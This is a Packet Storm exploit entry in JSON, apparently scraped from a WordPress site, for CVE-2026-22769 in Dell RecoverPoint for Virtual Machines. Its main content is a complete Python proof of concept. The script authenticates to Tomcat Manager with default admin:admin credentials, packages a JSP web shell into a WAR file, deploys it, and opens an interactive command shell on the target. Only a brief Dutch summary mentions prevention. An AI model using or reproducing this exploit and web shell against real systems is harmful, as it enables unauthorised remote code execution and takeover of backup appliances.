{“lastseen”:”2026-02-20T23:01:22″,”description”:”This proof of concept leverage Tomcat manager credentials to upload and execute a malicious WAR file containing a JSP web shell on Dell RecoverPoint appliances…”,”published”:”2026-02-20T00:00:00″,”modified”:”2026-02-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dell RecoverPoint for Virtual Machines Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215955″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-22769″],”sourceData”:”=============================================================================================================================================\\n | # Title : Dell RecoverPoint for Virtual Machines RCE |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits) |\\n | # Vendor : https:\/\/www.dell.com\/en-us\/lp\/dt\/data-protection-suite-recoverpoint-for-virtual-machines |\\n =============================================================================================================================================\\n \\n [+] Summary : PoC exploiteert standaard Tomcat Manager credentials (admin:admin) om een kwaadaardig WAR-bestand met een JSP-webshell te uploaden en uitvoeren op Dell RecoverPoint-appliances. \\n Dit kan leiden tot volledige remote code execution (RCE) en ongeautoriseerde toegang tot systeem- en applicatiegegevens. \\n Preventie omvat het verwijderen van standaardaccounts, beperken van Tomcat Manager-toegang, sterke wachtwoorden en monitoring van deployment logs.\\n \\n [+] POC :\\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import sys\\n import base64\\n import argparse\\n from requests.packages.urllib3.exceptions import InsecureRequestWarning\\n \\n requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\\n \\n # Default credentials found in \/home\/kos\/tomcat9\/tomcat-users.xml\\n DEFAULT_USERNAME = \\”admin\\”\\n DEFAULT_PASSWORD = \\”admin\\” # or whatever the hardcoded default is – adjust based on actual discovery\\n \\n JSP_WEBSHELL = ”’\\n \\u003c%@ page import=\\”java.util.*,java.io.*\\”%\\u003e\\n \\u003c%\\n if (request.getParameter(\\”cmd\\”) != null) {\\n Process p = Runtime.getRuntime().exec(request.getParameter(\\”cmd\\”));\\n OutputStream os = p.getOutputStream();\\n InputStream in = p.getInputStream();\\n DataInputStream dis = new DataInputStream(in);\\n String disr = dis.readLine();\\n while (disr != null) {\\n out.println(disr);\\n disr = dis.readLine();\\n }\\n }\\n %\\u003e\\n ”’\\n \\n def create_malicious_war(war_name=\\”shell.war\\”, shell_name=\\”shell.jsp\\”):\\n \\”\\”\\”\\n Creates a simple WAR file containing a JSP webshell\\n \\”\\”\\”\\n import tempfile\\n import os\\n import zipfile\\n import uuid\\n \\n temp_dir = tempfile.mkdtemp()\\n war_path = os.path.join(temp_dir, war_name)\\n \\n web_inf = os.path.join(temp_dir, \\”WEB-INF\\”)\\n os.makedirs(web_inf, exist_ok=True)\\n \\n web_xml = os.path.join(web_inf, \\”web.xml\\”)\\n with open(web_xml, ‘w’) as f:\\n f.write(”’\\u003c?xml version=\\”1.0\\” encoding=\\”UTF-8\\”?\\u003e\\n \\u003cweb-app xmlns=\\”http:\/\/java.sun.com\/xml\/ns\/javaee\\”\\n xmlns:xsi=\\”http:\/\/www.w3.org\/2001\/XMLSchema-instance\\”\\n xsi:schemaLocation=\\”http:\/\/java.sun.com\/xml\/ns\/javaee \\n http:\/\/java.sun.com\/xml\/ns\/javaee\/web-app_3_0.xsd\\”\\n version=\\”3.0\\”\\u003e\\n \\u003cdisplay-name\\u003eMalicious\\u003c\/display-name\\u003e\\n \\u003cwelcome-file-list\\u003e\\n \\u003cwelcome-file\\u003eshell.jsp\\u003c\/welcome-file\\u003e\\n \\u003c\/welcome-file-list\\u003e\\n \\u003c\/web-app\\u003e”’)\\n \\n jsp_path = os.path.join(temp_dir, shell_name)\\n with open(jsp_path, ‘w’) as f:\\n f.write(JSP_WEBSHELL)\\n \\n with zipfile.ZipFile(war_path, ‘w’, zipfile.ZIP_DEFLATED) as war:\\n \\n war.write(web_xml, arcname=\\”WEB-INF\/web.xml\\”)\\n war.write(jsp_path, arcname=shell_name)\\n \\n return war_path\\n \\n def exploit(target_url, war_file, deploy_path=\\”\/shell\\”):\\n \\”\\”\\”\\n Exploit the vulnerability by uploading and deploying malicious WAR\\n \\”\\”\\”\\n print(f\\”[*] Targeting: {target_url}\\”)\\n print(f\\”[*] Using default credentials: {DEFAULT_USERNAME}:{DEFAULT_PASSWORD}\\”)\\n \\n session = requests.Session()\\n session.auth = (DEFAULT_USERNAME, DEFAULT_PASSWORD)\\n session.verify = False \\n \\n try:\\n status_url = f\\”{target_url}\/manager\/status\\”\\n r = session.get(status_url, timeout=10)\\n if r.status_code == 200:\\n print(\\”[+] Authentication successful! Default credentials work.\\”)\\n elif r.status_code == 401:\\n print(\\”[-] Authentication failed. Default credentials rejected.\\”)\\n return False\\n else:\\n print(f\\”[?] Unexpected response code: {r.status_code}\\”)\\n except requests.exceptions.RequestException as e:\\n print(f\\”[-] Connection error: {e}\\”)\\n return False\\n \\n print(f\\”[*] Uploading malicious WAR to {deploy_path}\\”)\\n \\n deploy_url = f\\”{target_url}\/manager\/text\/deploy\\”\\n \\n with open(war_file, ‘rb’) as f:\\n war_content = f.read()\\n \\n files = {\\n ‘file’: (war_file, war_content, ‘application\/octet-stream’)\\n }\\n \\n params = {\\n ‘path’: deploy_path,\\n ‘update’: ‘true’\\n }\\n \\n try:\\n r = session.put(deploy_url, params=params, files=files, timeout=30)\\n \\n if r.status_code == 200:\\n print(f\\”[+] WAR deployed successfully to {deploy_path}\\”)\\n print(f\\”[+] Web shell available at: {target_url}{deploy_path}\/shell.jsp\\”)\\n print(\\”[*] Example command: curl -k ‘{}{}\/shell.jsp?cmd=id’\\”.format(\\n target_url, deploy_path))\\n return True\\n else:\\n print(f\\”[-] Deployment failed. Response code: {r.status_code}\\”)\\n print(f\\”[-] Response body: {r.text[:200]}\\”)\\n return False\\n \\n except requests.exceptions.RequestException as e:\\n print(f\\”[-] Error during deployment: {e}\\”)\\n return False\\n \\n def interactive_shell(target_url, shell_path):\\n \\”\\”\\”\\n Simple interactive shell via the uploaded JSP webshell\\n \\”\\”\\”\\n print(\\”[*] Entering interactive shell (type ‘exit’ to quit)\\”)\\n \\n while True:\\n cmd = input(\\”$\\u003e \\”)\\n if cmd.lower() == ‘exit’:\\n break\\n \\n params = {‘cmd’: cmd}\\n try:\\n r = requests.get(f\\”{target_url}{shell_path}\\”, params=params, \\n verify=False, timeout=10)\\n if r.status_code == 200:\\n print(r.text.strip())\\n else:\\n print(f\\”[-] Command failed: HTTP {r.status_code}\\”)\\n except requests.exceptions.RequestException as e:\\n print(f\\”[-] Error: {e}\\”)\\n \\n def main():\\n parser = argparse.ArgumentParser(description=’CVE-2026-22769 PoC Exploit By indoushka’)\\n parser.add_argument(‘target’, help=’Target URL (e.g., https:\/\/192.168.1.100:8443)’)\\n parser.add_argument(‘–deploy-path’, default=’\/shell’, \\n help=’Deployment path for WAR (default: \/shell)’)\\n parser.add_argument(‘–interactive’, ‘-i’, action=’store_true’,\\n help=’Launch interactive shell after exploitation’)\\n \\n args = parser.parse_args()\\n \\n print(\\”=== CVE-2026-22769 Dell RecoverPoint RCE PoC By indoushka ===\\”)\\n print(\\”Based on Mandiant\/GTIG research\\\\n\\”)\\n \\n print(\\”[*] Creating malicious WAR payload…\\”)\\n war_file = create_malicious_war()\\n print(f\\”[+] WAR created: {war_file}\\”)\\n \\n if exploit(args.target, war_file, args.deploy_path):\\n print(\\”\\\\n[+] Exploit successful!\\”)\\n \\n if args.interactive:\\n shell_url = f\\”{args.target}{args.deploy_path}\/shell.jsp\\”\\n interactive_shell(args.target, f\\”{args.deploy_path}\/shell.jsp\\”)\\n else:\\n print(\\”\\\\n[-] Exploit failed.\\”)\\n \\n print(\\”\\\\n[*] Note: The created WAR file remains on the target\\”)\\n print(\\”[*] Location: \/var\/lib\/tomcat9\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :======================================================================\\n jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n ====================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215955″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215955\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-20T23:01:22″,”description”:”This proof of concept leverage Tomcat manager credentials to upload and execute a malicious WAR file containing a JSP web shell on Dell RecoverPoint appliances…”,”published”:”2026-02-20T00:00:00″,”modified”:”2026-02-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-42055","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n